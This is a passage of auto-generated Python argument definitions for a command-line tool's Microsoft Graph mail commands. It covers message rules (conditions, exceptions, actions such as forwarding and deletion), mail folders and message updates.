arg_type=get_three_state_flag(), help='Indicates whether an incoming ' 'message must be a voice mail in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('message_action_flag', arg_type=get_enum_type(['any', 'call', 'doNotForward', 'followUp', 'fyi', 'forward', 'noResponseNecessary', 'read', 'reply', 'replyToAll', 'review']), help='', arg_group='Exceptions') c.argument('not_sent_to_me', arg_type=get_three_state_flag(), help='Indicates whether the owner of the mailbox ' 'must not be a recipient of an incoming message in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('recipient_contains', nargs='+', help='Represents the strings that appear in either the ' 'toRecipients or ccRecipients properties of an incoming message in order for the condition or ' 'exception to apply.', arg_group='Exceptions') c.argument('sender_contains', nargs='+', help='Represents the strings that appear in the from property of an ' 'incoming message in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('sensitivity', arg_type=get_enum_type(['normal', 'personal', 'private', 'confidential']), help='', arg_group='Exceptions') c.argument('sent_cc_me', arg_type=get_three_state_flag(), help='Indicates whether the owner of the mailbox ' 'must be in the ccRecipients property of an incoming message in order for the condition or ' 'exception to apply.', arg_group='Exceptions') c.argument('sent_only_to_me', arg_type=get_three_state_flag(), help='Indicates whether the owner of the ' 'mailbox must be the only recipient in an incoming message in order for the condition or exception ' 'to apply.', arg_group='Exceptions') c.argument('sent_to_addresses', type=validate_file_or_dict, help='Represents the email addresses that an ' 'incoming message must have been sent to in order for the condition or exception to apply. Expected ' 'value: json-string/@json-file.', arg_group='Exceptions') c.argument('sent_to_me', arg_type=get_three_state_flag(), help='Indicates whether the owner of the mailbox ' 'must be in the toRecipients property of an incoming message in order for the condition or ' 'exception to apply.', arg_group='Exceptions') c.argument('sent_to_or_cc_me', arg_type=get_three_state_flag(), help='Indicates whether the owner of the ' 'mailbox must be in either a toRecipients or ccRecipients property of an incoming message in order ' 'for the condition or exception to apply.', arg_group='Exceptions') c.argument('subject_contains', nargs='+', help='Represents the strings that appear in the subject of an ' 'incoming message in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('within_size_range', action=AddWithinSizeRange, nargs='+', help='sizeRange', arg_group='Exceptions') c.argument('microsoft_graph_message_rule_predicates_body_contains', nargs='+', help='Represents the strings ' 'that should appear in the body of an incoming message in order for the condition or exception to ' 'apply.', arg_group='Conditions') c.argument('microsoft_graph_message_rule_predicates_body_or_subject_contains_body_or_subject_contains', nargs='+', help='Represents the strings that should appear in the body or subject of an incoming ' 'message in order for the condition or exception to apply.', arg_group='Conditions') c.argument('microsoft_graph_message_rule_predicates_categories', nargs='+', help='Represents the categories ' 'that an incoming message should be labeled with in order for the condition or exception to apply.', arg_group='Conditions') c.argument('microsoft_graph_message_rule_predicates_from_addresses', type=validate_file_or_dict, help='Represents the specific sender email addresses of an incoming message in order for the ' 'condition or exception to apply. Expected value: json-string/@json-file.', arg_group='Conditions') c.argument('boolean_has_attachments', arg_type=get_three_state_flag(), help='Indicates whether an incoming ' 'message must have attachments in order for the condition or exception to apply.', arg_group='Conditions') c.argument('microsoft_graph_message_rule_predicates_header_contains', nargs='+', help='Represents the strings ' 'that appear in the headers of an incoming message in order for the condition or exception to ' 'apply.', arg_group='Conditions') c.argument('microsoft_graph_importance', arg_type=get_enum_type(['low', 'normal', 'high']), help='', arg_group='Conditions') c.argument('is_approval_request', arg_type=get_three_state_flag(), help='Indicates whether an incoming message ' 'must be an approval request in order for the condition or exception to apply.', arg_group='Conditions') c.argument('is_automatic_forward', arg_type=get_three_state_flag(), help='Indicates whether an incoming ' 'message must be automatically forwarded in order for the condition or exception to apply.', arg_group='Conditions') c.argument('is_automatic_reply', arg_type=get_three_state_flag(), help='Indicates whether an incoming message ' 'must be an auto reply in order for the condition or exception to apply.', arg_group='Conditions') c.argument('is_encrypted', arg_type=get_three_state_flag(), help='Indicates whether an incoming message must ' 'be encrypted in order for the condition or exception to apply.', arg_group='Conditions') c.argument('is_meeting_request', arg_type=get_three_state_flag(), help='Indicates whether an incoming message ' 'must be a meeting request in order for the condition or exception to apply.', arg_group='Conditions') c.argument('is_meeting_response', arg_type=get_three_state_flag(), help='Indicates whether an incoming message ' 'must be a meeting response in order for the condition or exception to apply.', arg_group='Conditions') c.argument('is_non_delivery_report', arg_type=get_three_state_flag(), help='Indicates whether an incoming ' 'message must be a non-delivery report in order for the condition or exception to apply.', arg_group='Conditions') c.argument('is_permission_controlled', arg_type=get_three_state_flag(), help='Indicates whether an incoming ' 'message must be permission controlled (RMS-protected) in order for the condition or exception to ' 'apply.', arg_group='Conditions') c.argument('is_read_receipt', arg_type=get_three_state_flag(), help='Indicates whether an incoming message ' 'must be a read receipt in order for the condition or exception to apply.', arg_group='Conditions') c.argument('is_signed', arg_type=get_three_state_flag(), help='Indicates whether an incoming message must be ' 'S/MIME-signed in order for the condition or exception to apply.', arg_group='Conditions') c.argument('is_voicemail', arg_type=get_three_state_flag(), help='Indicates whether an incoming message must ' 'be a voice mail in order for the condition or exception to apply.', arg_group='Conditions') c.argument('microsoft_graph_message_action_flag_message_action_flag', arg_type=get_enum_type(['any', 'call', 'doNotForward', 'followUp', 'fyi', 'forward', 'noResponseNecessary', 'read', 'reply', 'replyToAll', 'review']), help='', arg_group='Conditions') c.argument('boolean_not_sent_to_me', arg_type=get_three_state_flag(), help='Indicates whether the owner of the ' 'mailbox must not be a recipient of an incoming message in order for the condition or exception to ' 'apply.', arg_group='Conditions') c.argument('microsoft_graph_message_rule_predicates_recipient_contains', nargs='+', help='Represents the ' 'strings that appear in either the toRecipients or ccRecipients properties of an incoming message ' 'in order for the condition or exception to apply.', arg_group='Conditions') c.argument('microsoft_graph_message_rule_predicates_sender_contains', nargs='+', help='Represents the strings ' 'that appear in the from property of an incoming message in order for the condition or exception to ' 'apply.', arg_group='Conditions') c.argument('microsoft_graph_sensitivity', arg_type=get_enum_type(['normal', 'personal', 'private', 'confidential']), help='', arg_group='Conditions') c.argument('boolean_sent_cc_me', arg_type=get_three_state_flag(), help='Indicates whether the owner of the ' 'mailbox must be in the ccRecipients property of an incoming message in order for the condition or ' 'exception to apply.', arg_group='Conditions') c.argument('boolean_sent_only_to_me', arg_type=get_three_state_flag(), help='Indicates whether the owner of ' 'the mailbox must be the only recipient in an incoming message in order for the condition or ' 'exception to apply.', arg_group='Conditions') c.argument('microsoft_graph_message_rule_predicates_sent_to_addresses_sent_to_addresses', type=validate_file_or_dict, help='Represents the email addresses that an incoming message must have ' 'been sent to in order for the condition or exception to apply. Expected value: ' 'json-string/@json-file.', arg_group='Conditions') c.argument('boolean_sent_to_me', arg_type=get_three_state_flag(), help='Indicates whether the owner of the ' 'mailbox must be in the toRecipients property of an incoming message in order for the condition or ' 'exception to apply.', arg_group='Conditions') c.argument('boolean_sent_to_or_cc_me', arg_type=get_three_state_flag(), help='Indicates whether the owner of ' 'the mailbox must be in either a toRecipients or ccRecipients property of an incoming message in ' 'order for the condition or exception to apply.', arg_group='Conditions') c.argument('microsoft_graph_message_rule_predicates_subject_contains', nargs='+', help='Represents the strings ' 'that appear in the subject of an incoming message in order for the condition or exception to ' 'apply.', arg_group='Conditions') c.argument('microsoft_graph_size_range_within_size_range', action=AddWithinSizeRange, nargs='+', help='sizeRange', arg_group='Conditions') c.argument('assign_categories', nargs='+', help='A list of categories to be assigned to a message.', arg_group='Actions') c.argument('copy_to_folder', type=str, help='The ID of a folder that a message is to be copied to.', arg_group='Actions') c.argument('delete', arg_type=get_three_state_flag(), help='Indicates whether a message should be moved to the ' 'Deleted Items folder.', arg_group='Actions') c.argument('forward_as_attachment_to', type=validate_file_or_dict, help='The email addresses of the recipients ' 'to which a message should be forwarded as an attachment. Expected value: json-string/@json-file.', arg_group='Actions') c.argument('forward_to', type=validate_file_or_dict, help='The email addresses of the recipients to which a ' 'message should be forwarded. Expected value: json-string/@json-file.', arg_group='Actions') c.argument('mark_as_read', arg_type=get_three_state_flag(), help='Indicates whether a message should be marked ' 'as read.', arg_group='Actions') c.argument('mark_importance', arg_type=get_enum_type(['low', 'normal', 'high']), help='', arg_group='Actions') c.argument('move_to_folder', type=str, help='The ID of the folder that a message will be moved to.', arg_group='Actions') c.argument('permanent_delete', arg_type=get_three_state_flag(), help='Indicates whether a message should be ' 'permanently deleted and not saved to the Deleted Items folder.', arg_group='Actions') c.argument('redirect_to', type=validate_file_or_dict, help='The email addresses to which a message should be ' 'redirected. Expected value: json-string/@json-file.', arg_group='Actions') c.argument('stop_processing_rules', arg_type=get_three_state_flag(), help='Indicates whether subsequent rules ' 'should be evaluated.', arg_group='Actions') with self.argument_context('mail user-mail-folder create-multi-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('value', nargs='+', help='A collection of property values.') with self.argument_context('mail user-mail-folder create-single-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('value', type=str, help='A property value.') with self.argument_context('mail user-mail-folder delete-child-folder') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('mail_folder_id1', type=str, help='key: id of mailFolder') c.argument('if_match', type=str, help='ETag') with self.argument_context('mail user-mail-folder delete-message') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_id', type=str, help='key: id of message') c.argument('if_match', type=str, help='ETag') with self.argument_context('mail user-mail-folder delete-message-rule') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_rule_id', type=str, help='key: id of messageRule') c.argument('if_match', type=str, help='ETag') with self.argument_context('mail user-mail-folder delete-multi-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('multi_value_legacy_extended_property_id', type=str, help='key: id of ' 'multiValueLegacyExtendedProperty') c.argument('if_match', type=str, help='ETag') with self.argument_context('mail user-mail-folder delete-single-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('single_value_legacy_extended_property_id', type=str, help='key: id of ' 'singleValueLegacyExtendedProperty') c.argument('if_match', type=str, help='ETag') with self.argument_context('mail user-mail-folder list-child-folder') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('orderby', nargs='+', help='Order items by property values') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-mail-folder list-message') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('orderby', nargs='+', help='Order items by property values') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-mail-folder list-message-rule') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('orderby', nargs='+', help='Order items by property values') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-mail-folder list-multi-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('orderby', nargs='+', help='Order items by property values') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-mail-folder list-single-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('orderby', nargs='+', help='Order items by property values') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-mail-folder show-child-folder') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('mail_folder_id1', type=str, help='key: id of mailFolder') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-mail-folder show-message') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_id', type=str, help='key: id of message') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-mail-folder show-message-rule') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_rule_id', type=str, help='key: id of messageRule') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-mail-folder show-multi-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('multi_value_legacy_extended_property_id', type=str, help='key: id of ' 'multiValueLegacyExtendedProperty') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-mail-folder show-single-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('single_value_legacy_extended_property_id', type=str, help='key: id of ' 'singleValueLegacyExtendedProperty') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-mail-folder update-child-folder') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('mail_folder_id1', type=str, help='key: id of mailFolder') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('child_folder_count', type=int, help='The number of immediate child mailFolders in the current ' 'mailFolder.') c.argument('display_name', type=str, help='The mailFolder\'s display name.') c.argument('parent_folder_id', type=str, help='The unique identifier for the mailFolder\'s parent mailFolder.') c.argument('total_item_count', type=int, help='The number of items in the mailFolder.') c.argument('unread_item_count', type=int, help='The number of items in the mailFolder marked as unread.') c.argument('child_folders', type=validate_file_or_dict, help='The collection of child folders in the ' 'mailFolder. Expected value: json-string/@json-file.') c.argument('message_rules', type=validate_file_or_dict, help='The collection of rules that apply to the ' 'user\'s Inbox folder. Expected value: json-string/@json-file.') c.argument('messages', type=validate_file_or_dict, help='The collection of messages in the mailFolder. ' 'Expected value: json-string/@json-file.') c.argument('multi_value_extended_properties', action=AddMailUserCreateMailFolderMultiValueExtendedProperties, nargs='+', help='The collection of multi-value extended properties defined for the mailFolder. ' 'Read-only. Nullable.') c.argument('single_value_extended_properties', action=AddMailUserCreateMailFolderSingleValueExtendedProperties, nargs='+', help='The collection of single-value extended properties defined for the mailFolder. ' 'Read-only. Nullable.') with self.argument_context('mail user-mail-folder update-message') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_id', type=str, help='key: id of message') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('categories', nargs='+', help='The categories associated with the item') c.argument('change_key', type=str, help='Identifies the version of the item. Every time the item is changed, ' 'changeKey changes as well. This allows Exchange to apply changes to the correct version of the ' 'object. Read-only.') c.argument('created_date_time', help='The Timestamp type represents date and time information using ISO 8601 ' 'format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 would look like this: ' '\'2014-01-01T00:00:00Z\'') c.argument('last_modified_date_time', help='The Timestamp type represents date and time information using ISO ' '8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 would look like ' 'this: \'2014-01-01T00:00:00Z\'') c.argument('bcc_recipients', type=validate_file_or_dict, help='The Bcc: recipients for the message. Expected ' 'value: json-string/@json-file.') c.argument('body', action=AddBody, nargs='+', help='itemBody') c.argument('body_preview', type=str, help='The first 255 characters of the message body. It is in text format.') c.argument('cc_recipients', type=validate_file_or_dict, help='The Cc: recipients for the message. Expected ' 'value: json-string/@json-file.') c.argument('conversation_id', type=str, help='The ID of the conversation the email belongs to.') c.argument('conversation_index', help='Indicates the position of the message within the conversation.') c.argument('has_attachments', arg_type=get_three_state_flag(), help='Indicates whether the message has ' 'attachments. This property doesn\'t include inline attachments, so if a message contains only ' 'inline attachments, this property is false. To verify the existence of inline attachments, parse ' 'the body property to look for a src attribute, such as <IMG src=\'cid:image001.jpg@01D26CD8.6C05F07' '0\'>.') c.argument('importance', arg_type=get_enum_type(['low', 'normal', 'high']), help='') c.argument('inference_classification', arg_type=get_enum_type(['focused', 'other']), help='') c.argument('internet_message_headers', action=AddInternetMessageHeaders, nargs='+', help='A collection of ' 'message headers defined by RFC5322. The set includes message headers indicating the network path ' 'taken by a message from the sender to the recipient. It can also contain custom message headers ' 'that hold app data for the message. Returned only on applying a $select query option. Read-only.') c.argument('internet_message_id', type=str, help='The message ID in the format specified by RFC2822.') c.argument('is_delivery_receipt_requested', arg_type=get_three_state_flag(), help='Indicates whether a read ' 'receipt is requested for the message.') c.argument('is_draft', arg_type=get_three_state_flag(), help='Indicates whether the message is a draft. A ' 'message is a draft if it hasn\'t been sent yet.') c.argument('is_read', arg_type=get_three_state_flag(), help='Indicates whether the message has been read.') c.argument('is_read_receipt_requested', arg_type=get_three_state_flag(), help='Indicates whether a read ' 'receipt is requested for the message.') c.argument('parent_folder_id', type=str, help='The unique identifier for the message\'s parent mailFolder.') c.argument('received_date_time', help='The date and time the message was received.') c.argument('reply_to', type=validate_file_or_dict, help='The email addresses to use when replying. Expected ' 'value: json-string/@json-file.') c.argument('sent_date_time', help='The date and time the message was sent.') c.argument('subject', type=str, help='The subject of the message.') c.argument('to_recipients', type=validate_file_or_dict, help='The To: recipients for the message. Expected ' 'value: json-string/@json-file.') c.argument('unique_body', action=AddBody, nargs='+', help='itemBody') c.argument('web_link', type=str, help='The URL to open the message in Outlook Web App.You can append an ' 'ispopout argument to the end of the URL to change how the message is displayed. If ispopout is not ' 'present or if it is set to 1, then the message is shown in a popout window. If ispopout is set to ' '0, then the browser will show the message in the Outlook Web App review pane.The message will open ' 'in the browser if you are logged in to your mailbox via Outlook Web App. You will be prompted to ' 'login if you are not already logged in with the browser.This URL can be accessed from within an ' 'iFrame.') c.argument('attachments', action=AddAttachments, nargs='+', help='The fileAttachment and itemAttachment ' 'attachments for the message.') c.argument('extensions', action=AddExtensions, nargs='+', help='The collection of open extensions defined for ' 'the message. Nullable.') c.argument('multi_value_extended_properties', action=AddMailUserCreateMessageMultiValueExtendedProperties, nargs='+', help='The collection of multi-value extended properties defined for the message. ' 'Nullable.') c.argument('single_value_extended_properties', action=AddMailUserCreateMessageSingleValueExtendedProperties, nargs='+', help='The collection of single-value extended properties defined for the message. ' 'Nullable.') c.argument('email_address', action=AddEmailAddress, nargs='+', help='emailAddress', arg_group='Sender') c.argument('microsoft_graph_email_address', action=AddEmailAddress, nargs='+', help='emailAddress', arg_group='From') c.argument('completed_date_time', action=AddCompletedDateTime, nargs='+', help='dateTimeTimeZone', arg_group='Flag') c.argument('due_date_time', action=AddCompletedDateTime, nargs='+', help='dateTimeTimeZone', arg_group='Flag') c.argument('flag_status', arg_type=get_enum_type(['notFlagged', 'complete', 'flagged']), help='', arg_group='Flag') c.argument('start_date_time', action=AddCompletedDateTime, nargs='+', help='dateTimeTimeZone', arg_group='Flag') with self.argument_context('mail user-mail-folder update-message-rule') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_rule_id', type=str, help='key: id of messageRule') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('display_name', type=str, help='The display name of the rule.') c.argument('has_error', arg_type=get_three_state_flag(), help='Indicates whether the rule is in an error ' 'condition. Read-only.') c.argument('is_enabled', arg_type=get_three_state_flag(), help='Indicates whether the rule is enabled to be ' 'applied to messages.') c.argument('is_read_only', arg_type=get_three_state_flag(), help='Indicates if the rule is read-only and ' 'cannot be modified or deleted by the rules REST API.') c.argument('sequence', type=int, help='Indicates the order in which the rule is executed, among other rules.') c.argument('body_contains', nargs='+', help='Represents the strings that should appear in the body of an ' 'incoming message in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('body_or_subject_contains', nargs='+', help='Represents the strings that should appear in the body ' 'or subject of an incoming message in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('categories', nargs='+', help='Represents the categories that an incoming message should be labeled ' 'with in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('from_addresses', type=validate_file_or_dict, help='Represents the specific sender email addresses ' 'of an incoming message in order for the condition or exception to apply. Expected value: ' 'json-string/@json-file.', arg_group='Exceptions') c.argument('has_attachments', arg_type=get_three_state_flag(), help='Indicates whether an incoming message ' 'must have attachments in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('header_contains', nargs='+', help='Represents the strings that appear in the headers of an ' 'incoming message in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('importance', arg_type=get_enum_type(['low', 'normal', 'high']), help='', arg_group='Exceptions') c.argument('exceptions_is_approval_request', arg_type=get_three_state_flag(), help='Indicates whether an ' 'incoming message must be an approval request in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('exceptions_is_automatic_forward', arg_type=get_three_state_flag(), help='Indicates whether an ' 'incoming message must be automatically forwarded in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('exceptions_is_automatic_reply', arg_type=get_three_state_flag(), help='Indicates whether an ' 'incoming message must be an auto reply in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('exceptions_is_encrypted', arg_type=get_three_state_flag(), help='Indicates whether an incoming ' 'message must be encrypted in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('exceptions_is_meeting_request', arg_type=get_three_state_flag(), help='Indicates whether an ' 'incoming message must be a meeting request in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('exceptions_is_meeting_response', arg_type=get_three_state_flag(), help='Indicates whether an ' 'incoming message must be a meeting response in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('exceptions_is_non_delivery_report', arg_type=get_three_state_flag(), help='Indicates whether an ' 'incoming message must be a non-delivery report in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('exceptions_is_permission_controlled', arg_type=get_three_state_flag(), help='Indicates whether an ' 'incoming message must be permission controlled (RMS-protected) in order for the condition or ' 'exception to apply.', arg_group='Exceptions') c.argument('exceptions_is_read_receipt', arg_type=get_three_state_flag(), help='Indicates whether an incoming ' 'message must be a read receipt in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('exceptions_is_signed', arg_type=get_three_state_flag(), help='Indicates whether an incoming ' 'message must be S/MIME-signed in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('exceptions_is_voicemail', arg_type=get_three_state_flag(), help='Indicates whether an incoming ' 'message must be a voice mail in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('message_action_flag', arg_type=get_enum_type(['any', 'call', 'doNotForward', 'followUp', 'fyi', 'forward', 'noResponseNecessary', 'read', 'reply', 'replyToAll', 'review']), help='', arg_group='Exceptions') c.argument('not_sent_to_me', arg_type=get_three_state_flag(), help='Indicates whether the owner of the mailbox ' 'must not be a recipient of an incoming message in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('recipient_contains', nargs='+', help='Represents the strings that appear in either the ' 'toRecipients or ccRecipients properties of an incoming message in order for the condition or ' 'exception to apply.', arg_group='Exceptions') c.argument('sender_contains', nargs='+', help='Represents the strings that appear in the from property of an ' 'incoming message in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('sensitivity', arg_type=get_enum_type(['normal', 'personal', 'private', 'confidential']), help='', arg_group='Exceptions') c.argument('sent_cc_me', arg_type=get_three_state_flag(), help='Indicates whether the owner of the mailbox ' 'must be in the ccRecipients property of an incoming message in order for the condition or ' 'exception to apply.', arg_group='Exceptions') c.argument('sent_only_to_me', arg_type=get_three_state_flag(), help='Indicates whether the owner of the ' 'mailbox must be the only recipient in an incoming message in order for the condition or exception ' 'to apply.', arg_group='Exceptions') c.argument('sent_to_addresses', type=validate_file_or_dict, help='Represents the email addresses that an ' 'incoming message must have been sent to in order for the condition or exception to apply. Expected ' 'value: json-string/@json-file.', arg_group='Exceptions') c.argument('sent_to_me', arg_type=get_three_state_flag(), help='Indicates whether the owner of the mailbox ' 'must be in the toRecipients property of an incoming message in order for the condition or ' 'exception to apply.', arg_group='Exceptions') c.argument('sent_to_or_cc_me', arg_type=get_three_state_flag(), help='Indicates whether the owner of the ' 'mailbox must be in either a toRecipients or ccRecipients property of an incoming message in order ' 'for the condition or exception to apply.', arg_group='Exceptions') c.argument('subject_contains', nargs='+', help='Represents the strings that appear in the subject of an ' 'incoming message in order for the condition or exception to apply.', arg_group='Exceptions') c.argument('within_size_range', action=AddWithinSizeRange, nargs='+', help='sizeRange', arg_group='Exceptions') c.argument('microsoft_graph_message_rule_predicates_body_contains', nargs='+', help='Represents the strings ' 'that should appear in the body of an incoming message in order for the condition or exception to ' 'apply.', arg_group='Conditions') c.argument('microsoft_graph_message_rule_predicates_body_or_subject_contains_body_or_subject_contains', nargs='+', help='Represents the strings that should appear in the body or subject of an incoming ' 'message in order for the condition or exception to apply.', arg_group='Conditions') c.argument('microsoft_graph_message_rule_predicates_categories', nargs='+', help='Represents the categories ' 'that an incoming message should be labeled with in order for the condition or exception to apply.', arg_group='Conditions') c.argument('microsoft_graph_message_rule_predicates_from_addresses', type=validate_file_or_dict, help='Represents the specific sender email addresses of an incoming message in order for the ' 'condition or exception to apply. Expected value: json-string/@json-file.', arg_group='Conditions') c.argument('boolean_has_attachments', arg_type=get_three_state_flag(), help='Indicates whether an incoming ' 'message must have attachments in order for the condition or exception to apply.', arg_group='Conditions') c.argument('microsoft_graph_message_rule_predicates_header_contains', nargs='+', help='Represents the strings ' 'that appear in the headers of an incoming message in order for the condition or exception to ' 'apply.', arg_group='Conditions') c.argument('microsoft_graph_importance', arg_type=get_enum_type(['low', 'normal', 'high']), help='', arg_group='Conditions') c.argument('is_approval_request', arg_type=get_three_state_flag(), help='Indicates whether an incoming message ' 'must be an approval request in order for the condition or exception to apply.', arg_group='Conditions') c.argument('is_automatic_forward', arg_type=get_three_state_flag(), help='Indicates whether an incoming ' 'message must be automatically forwarded in order for the condition or exception to apply.', arg_group='Conditions') c.argument('is_automatic_reply', arg_type=get_three_state_flag(), help='Indicates whether an incoming message ' 'must be an auto reply in order for the condition or exception to apply.', arg_group='Conditions') c.argument('is_encrypted', arg_type=get_three_state_flag(), help='Indicates whether an incoming message must ' 'be encrypted in order for the condition or exception to apply.', arg_group='Conditions') c.argument('is_meeting_request', arg_type=get_three_state_flag(), help='Indicates whether an incoming message ' 'must be a meeting request in order for the condition or exception to apply.', arg_group='Conditions') c.argument('is_meeting_response', arg_type=get_three_state_flag(), help='Indicates whether an incoming message ' 'must be a meeting response in order for the condition or exception to apply.', arg_group='Conditions') c.argument('is_non_delivery_report', arg_type=get_three_state_flag(), help='Indicates whether an incoming ' 'message must be a non-delivery report in order for the condition or exception to apply.', arg_group='Conditions') c.argument('is_permission_controlled', arg_type=get_three_state_flag(), help='Indicates whether an incoming ' 'message must be permission controlled (RMS-protected) in order for the condition or exception to ' 'apply.', arg_group='Conditions') c.argument('is_read_receipt', arg_type=get_three_state_flag(), help='Indicates whether an incoming message ' 'must be a read receipt in order for the condition or exception to apply.', arg_group='Conditions') c.argument('is_signed', arg_type=get_three_state_flag(), help='Indicates whether an incoming message must be ' 'S/MIME-signed in order for the condition or exception to apply.', arg_group='Conditions') c.argument('is_voicemail', arg_type=get_three_state_flag(), help='Indicates whether an incoming message must ' 'be a voice mail in order for the condition or exception to apply.', arg_group='Conditions') c.argument('microsoft_graph_message_action_flag_message_action_flag', arg_type=get_enum_type(['any', 'call', 'doNotForward', 'followUp', 'fyi', 'forward', 'noResponseNecessary', 'read', 'reply', 'replyToAll', 'review']), help='', arg_group='Conditions') c.argument('boolean_not_sent_to_me', arg_type=get_three_state_flag(), help='Indicates whether the owner of the ' 'mailbox must not be a recipient of an incoming message in order for the condition or exception to ' 'apply.', arg_group='Conditions') c.argument('microsoft_graph_message_rule_predicates_recipient_contains', nargs='+', help='Represents the ' 'strings that appear in either the toRecipients or ccRecipients properties of an incoming message ' 'in order for the condition or exception to apply.', arg_group='Conditions') c.argument('microsoft_graph_message_rule_predicates_sender_contains', nargs='+', help='Represents the strings ' 'that appear in the from property of an incoming message in order for the condition or exception to ' 'apply.', arg_group='Conditions') c.argument('microsoft_graph_sensitivity', arg_type=get_enum_type(['normal', 'personal', 'private', 'confidential']), help='', arg_group='Conditions') c.argument('boolean_sent_cc_me', arg_type=get_three_state_flag(), help='Indicates whether the owner of the ' 'mailbox must be in the ccRecipients property of an incoming message in order for the condition or ' 'exception to apply.', arg_group='Conditions') c.argument('boolean_sent_only_to_me', arg_type=get_three_state_flag(), help='Indicates whether the owner of ' 'the mailbox must be the only recipient in an incoming message in order for the condition or ' 'exception to apply.', arg_group='Conditions') c.argument('microsoft_graph_message_rule_predicates_sent_to_addresses_sent_to_addresses', type=validate_file_or_dict, help='Represents the email addresses that an incoming message must have ' 'been sent to in order for the condition or exception to apply. Expected value: ' 'json-string/@json-file.', arg_group='Conditions') c.argument('boolean_sent_to_me', arg_type=get_three_state_flag(), help='Indicates whether the owner of the ' 'mailbox must be in the toRecipients property of an incoming message in order for the condition or ' 'exception to apply.', arg_group='Conditions') c.argument('boolean_sent_to_or_cc_me', arg_type=get_three_state_flag(), help='Indicates whether the owner of ' 'the mailbox must be in either a toRecipients or ccRecipients property of an incoming message in ' 'order for the condition or exception to apply.', arg_group='Conditions') c.argument('microsoft_graph_message_rule_predicates_subject_contains', nargs='+', help='Represents the strings ' 'that appear in the subject of an incoming message in order for the condition or exception to ' 'apply.', arg_group='Conditions') 